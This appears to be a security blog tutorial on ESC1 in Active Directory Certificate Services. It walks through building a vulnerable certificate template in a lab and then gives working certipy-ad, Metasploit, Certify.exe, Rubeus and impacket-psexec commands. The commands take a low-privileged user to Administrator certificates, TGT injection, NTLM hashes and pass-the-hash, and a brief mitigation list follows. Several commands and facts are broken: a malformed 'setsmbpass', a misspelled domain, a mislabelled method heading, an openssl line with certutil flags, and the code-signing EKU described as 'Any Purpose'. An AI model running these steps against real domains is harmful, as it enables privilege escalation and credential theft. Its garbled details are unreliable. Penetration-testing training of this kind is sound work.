AD Certificate Exploitation: ESC1

The AD CS (Active Directory Certificate Services) certificate template is a predefined configuration in Microsoft AD CS that defines the type of certificate a user, computer, or service can request. It specifies parameters such as the intended purpose of the certificate, encryption algorithms, validity period, and whether it can be auto-enrolled.

These templates allow administrators to control the issuance and management of certificates within an organization’s Active Directory environment. AD CS uses these templates to standardize certificate issuance, making it easier to deploy secure certificates for users, computers, and services.

Some common types of certificate templates include:

1. User Certificate – Used for authenticating users.
2. Computer Certificate – Used for authenticating computers.
3. Web Enrollment Certificate – Used for enrolling via the web.
4. Code Signing Certificate – Used to sign software or applications.

Table of Content

Active Directory Certificate Services (AD CS) – Certificate Flow

Understanding Enrollment Right Misconfigurations

Prerequisites

Lab Setup

Enumeration & Exploitation

·        Methods 1: Certipy-ad

·        Methods 2: Metasploit

·        Methods 3:  Certify.exe

Mitigation Strategies

 

Active Directory Certificate Services (AD CS) – Certificate Flow

Setup à Request  à Approval à Use à Renewal or Revocation à Validity Check

 

1. Setup

The organization sets up a Certificate Authority (CA) – this acts like an official office that issues digital identity cards (certificates) to users and computers.

2. Request

A user or device asks the CA:

“Please give me a certificate.”

This can happen:

·        Automatically (via Group Policy for domain-joined systems)

·        Manually (using tools like MMC, certreq, or web enrollment)

3. Approval

The CA checks:

“Is this a valid and authorized request?”

If yes, it signs the certificate (just like stamping and issuing an ID card) and sends it back to the requester.

4. Use

The issued certificate is now used for secure purposes, such as:

·        Logging into domain computers

·        Enabling HTTPS on web servers

·        Email encryption and signing

·        VPN and Wi-Fi authentication

·        IPsec communication

5. Renewal or Revocation

• Renewal: Before a certificate expires, the system or user can request a new one.
• Revocation: If the certificate is compromised or no longer needed, the CA can revoke (cancel) it.

6. Validity Check

Other systems regularly check:

“Is this certificate still valid and trusted?”

They look at:

·        Certificate Revocation Lists (CRL)

·        Online Certificate Status Protocol (OCSP)

to verify if the certificate is still good or has been revoked.

 

In this article, we will exploit misconfigured ADCS certificate template to request a certificate for any user like administrator and use it for authentication

 

Understanding Enrollment Rights Misconfiguration

 Enrollment Rights Misconfiguration occurs when an Active Directory Certificate Services (AD CS) template has the following misconfigurations:

·        ENROLLEE_SUPPLIES_SUBJECT → Allows users to specify their own Subject Alternative Name (SAN).

·        Any Purpose (EKU: 1.3.6.1.5.5.7.3.3) → Allows authentication with the certificate.

·        No Manager Approval Required → Directly issues certificates.

·        Accessible to Low-Privilege Users → Any domain user can request a certificate.

If any of these are seen this means, any authenticated user can request a certificate for another user like Administrator and then use that certificate for authentication and privilege escalation.

 

 

The image given below will help you to understand the type of policy that is used to certificate purpose. For example, here the given certificate is design for clients or user authentication.

 

 

Prerequisites

·        Windows Server 2019 as Active Directory that supports PKINIT

·        Domain must have Active Directory Certificate Services and Certificate Authority configured.

·        Kali Linux

·        Tools: Rubeus.exe, certify.exe, Impacket, certipy-ad, Metasploit

Lab Setup

In this lab setup, we will create a user named 'aarti' and add her to the Domain Users group, specifically to the IGNITE\Domain Users group, where 'aarti' will be a member. This setup will demonstrate how attackers can exploit misconfigurations in an Active Directory Certificate Services (AD CS) template, leading to privilege escalation.Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server configured as a Domain Controller (DC) and a controlled Active Directory lab that includes a vulnerable certificate template.

Domain Controller:

·        Install Windows Server (2016 or 2019 recommended) that supports PKINIT.

·        Promote it to a Domain Controller by adding the Active Directory Domain Services

·        Set up the domain (e.g., Ignite).

·        The domain must have Active Directory Certificate Services (Read more) and a Certificate Authority

 

Let’s have a walkthrough of the lab setup following with the Creation of a Vulnerable Certificate Template in AD CS we already discussed.

we will configure a misconfigured certificate template in Active Directory Certificate Services (AD CS) that allows for ESC1 exploitation. This involves duplicating an existing certificate template, enabling subject name supply, and setting permissions that make it vulnerable.

Open certsrv.msc (Certificate Authority) by using the run box in your windows AD CS

Navigate to Certificate Templates → Manage

 

You will see the list of various certificate templates, Duplicate the code signing template by simply clicking duplicate template

 

 

Edit the properties of the new template Under the General tab where Change Template display name to something like Custom_ESC1.

 

 

Navigate to the Subject Name tab and Select "Supply in the request" → This is the key misconfiguration that allows attackers to request certificates for any user.

Note: Allowing users to manually specify the Subject Name when requesting a certificate enables attackers to request certificates for any username, including Administrator, and, when combined with ESC1 misconfigurations, facilitates privilege escalation.

Modify Permissions (Access for All Users) navigate to the Security tab where you can see Authenticated Users or Click Add, then type Authenticated Users → Click OK to Select Authenticated Users.

But in this case, we will modify the permissions for the Domain Users group. Click Add, type Domain Users, and then add it to the group.

Select Domain Users and check the following permissions: Enroll

 

 

Expend the property of Custom_ESC1 certificate and Navigate to the Extensions tab and Select "Application Policies" → This defines how a certificate can be used. 

Click on Edit button

Now select Add button under Application policies box

Here we are required to add the application policies, select Client Authentication and Click on ok.

Now we are required to Publish the Template we created to the CA

Go back to the Certificate Authority (certsrv.msc) window. Right-click Certificate Templates → Click New → Certificate Template to Issue.

 

Find Vulnerable Template in the list and select it in our case we created it as Custom_ESC1.

Click OK to publish it.

We must Understand Why This Template is Vulnerable because we commence some misconfiguration as:

·        Allowing Subject Alternative Name (SAN) Manipulation → Attackers can request a certificate as Administrator@ignite.local,

 

Note: This issue occurs in Certificate Template Management (certtmpl.msc) under the "Request Handling" settings in the template. The mistake is that the "Supply in the request" option allows users to specify any Subject Alternative Name (SAN), enabling attackers to request certificates for Administrator, Domain Admins, or service accounts.

 

·        Making Accessible to All Domain Users → Any domain user belonging to domain user group can enroll.

 

Note: This issue occurs when creating or modifying a certificate template in certsrv.msc or setting "Enrollment Permissions" in Active Directory Users & Computers (ADUC). The mistake is allowing "Domain Users" group to enroll in the template or granting "Enroll" or "AutoEnroll" permissions to everyone in the group.

 

·        No Additional Approval Needed → No admin intervention is required to issue a certificate.

 

Note: This issue occurs in Certification Authority MMC (certsrv.msc) under "Certificate Template Properties." The mistake is allowing certificates to be issued without manual approval, which enables attackers to request an Administrator certificate without triggering alerts.

This configuration makes the ESC1 attack possible, where a low-privileged user can request a certificate for a privileged account, authenticate using it, and escalate privileges.

Enumeration and Exploitation Methods

Once this template is configured, an attacker can use various tools to request an Administrator certificate and gain elevated access.

Now that the vulnerable certificate template (Custom_ESC1 or you may have set the another name of template) is configured, the next steps involve:

Method 1 : Certipy-ad

Step 1: Enumerate Certificate Templates

Before attacking, we must identify vulnerable certificate templates. For this we will use Linux tool name certipy-ad (Certipy-ad – it is a python tool for AD CS attacks)

certipy-ad find -u ‘aarti@ignite.local’ -p Password@1 -dc-ip 192.168.1.48 -vulnerable -enabled

Now it’s time to look for the template that we saved just now and look for "Domain Users" with Enroll permissions. If Vulnerable Template appears in the results which is Custom_ESC1 in our case, move to the next step.

Step 2: Request a Certificate as Administrator

On Linux (using Certipy), you can run the following command:

Certipy-ad req -u aarti@iginite.local -p Password@1 -dc-ip 192.168.1.48 -ca ignite-DC1-CA -target ‘dc1.ignite.local’ -template ‘Custom_ESC1’ -upn administrator@ignite.local -dc-ip <DC_IP>

If successful, an authentication certificate will be generated

Step 3: Authenticating as Administrator

Now its time to authenticate with given certificate as an administrator by launching simple command as

Certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.48

Step 4: Dump NTLM Hashes for Post Exploitation

Once authenticated as Administrator, dump NTLM hashes from the Domain Controller

Step 5: Lateral Movement & Privilege Escalation

After obtaining NTLM hashes, move laterally using Pass-the-Hash (PTH) attacks.

For this using an amazing tool impacket with the command

Impacket-psexec -hashesh ‘aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38’ administrator@192.168.1.48

 

Method 2 : Metasploit

Metasploit, a powerful penetration testing framework, can automate ESC1 exploitation by:

Step 1: Enumerating AD CS misconfigurations

Before attacking, enumerate certificate templates to check for misconfigurations. Metasploit’s ldap_esc_vulnerable_cert_finder automates the process of finding misconfigured certificate templates that allow privilege escalation.

Start Metasploit and load the LDAP enumeration module.

msfconsole

use auxiliary/gather/ldap/ldap_esc_vulnerable_cert_finder

set RHOSTS 192.168.1.48

set DOMAIN ignite.local

set USERNAME aarti

set PASSWORD Password@1

run

·        The RHOSTS is the Domain Controller’s IP address.

·        The DOMAIN is the target Active Directory domain

·        The USERNAME & PASSWORD are for a low-privileged AD user.

The module will check misconfigured certificate templates.

Look for:"Domain Users" can enroll

Once a vulnerable template is found, we can request a certificate as Administrator.

 

Step 2: Requesting certificates for privilege escalation

 

Load the Certificate Request Module

use auxiliary/admin/dcerpc/icpr_cert

set RHOSTS 192.168.1.40

set CA "ignite-DC1-CA\LAB-DC"

set cert_template Custom_ESC1

set smbdomain ignite.local

set smbuser aarti

setsmbpass Password@1

run

This requests a Kerberos authentication certificate for Administrator.

 If successful, a .pfx certificate file is saved.

 

Step 3: Using certificates for Pass-the-Certificate (PtC) attacks

Load the kerberos Module

use auxiliary/admin/kerberos/get_ticket

Set rhosts 192.168.1.48

Set domain ignite.local

Set action GET_HASH

set CERT_FILE /root/.msf4/loot/20250108132859_default_192.168.1.48_windows.ad.cs_493919.pfx

set username Administrator

run

Uses NTLM hash authentication to move laterally with your favourite techniques and tools.

 

Method 3 : Certipy.exe

Step 1: Vulnerable Certificate Template Existence

When logged in with any user belonging to the Domain Users group, such as the aarti user in this case, you can use your preferred tools to confirm the presence of a vulnerable template.  In this Case to do this, run the following command using Certify.exe — a Windows tool that helps enumerate and exploit AD CS vulnerabilities. The command listed below will display all certificate templates and flag any misconfigurations.

Run the command

Certify.exe find /vulnerable /currentuser

You can also find for ENROLLEE_SUPPLIES_SUBJECT flag little down which confirms your template vulnerable to the attack.

 

Step 2: Request a Certificate as Administrator

Once we identify a vulnerable template, request a certificate for Administrator.

Fire up the command as

Certify.exe request /ca:DCI.ignite.local\ignite-DC1-CA /template:Custom_ESC1 /altname:ignite.local\administrator

 

Requests a certificate and saves it as a .pfx file (e.g., cert.pfx). You can use tools of your choice or same certify.exe tool to save the requested certificate here we move with the tool openssl to export the certificate

Launch the command as

.\openssl pkcs12 -in cert.pem -keyex -csp “Microsoft Enhanced Cryptographicprovider v1.0” -Export -out c:\Users\public\cert.pfx

 Although we have successfully generated the authentication certificate, we are unable to access the C$ share when attempting to list it via SMB by using the command:

dir \\dc1.ignite.local\C$

Step 3: Requesting a Kerberos TGT using the certificate

Now lets try Rubeus.exe to obtain a ticket Granting Ticket (TGT) for administrator from the domain controller. If Sucessful , the output will contain a Base64-Encoded TGT

 

Step 4: Inject the TGT into the current session

Once we have TGT, we can inject it into the memory to assume administrator privileges

Just fire the command

.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /ptt

This enables the current session to operate as administrator you can verify it with use of ticket for privilege escalation by just trying to access the path C$ of DC.

Mitigation Strategies

·        Restrict Certificate Template Permissions → Only privileged users should have enrollment rights.

·        Enforce Strong Cryptography → Use RSA 3072/4096-bit and SHA-256/SHA-512.

·        Disable User-defined SAN Attributes → Prevent unauthorized impersonation.

·        Monitor Certificate Issuance → Enable auditing for Event IDs 4886, 4887, 4768.

·        Implement Certificate Revocation Policies → Use CRLs and OCSP to invalidate stolen certificates.

MD.  Aslam

A dynamic Information Security leader committed to driving security excellence and mentoring teams to strengthen security across products, networks, and organizations.

https://www.linkedin.com/in/md-aslam-7b04ab144

https://x.com/mdaslam02969588?s=08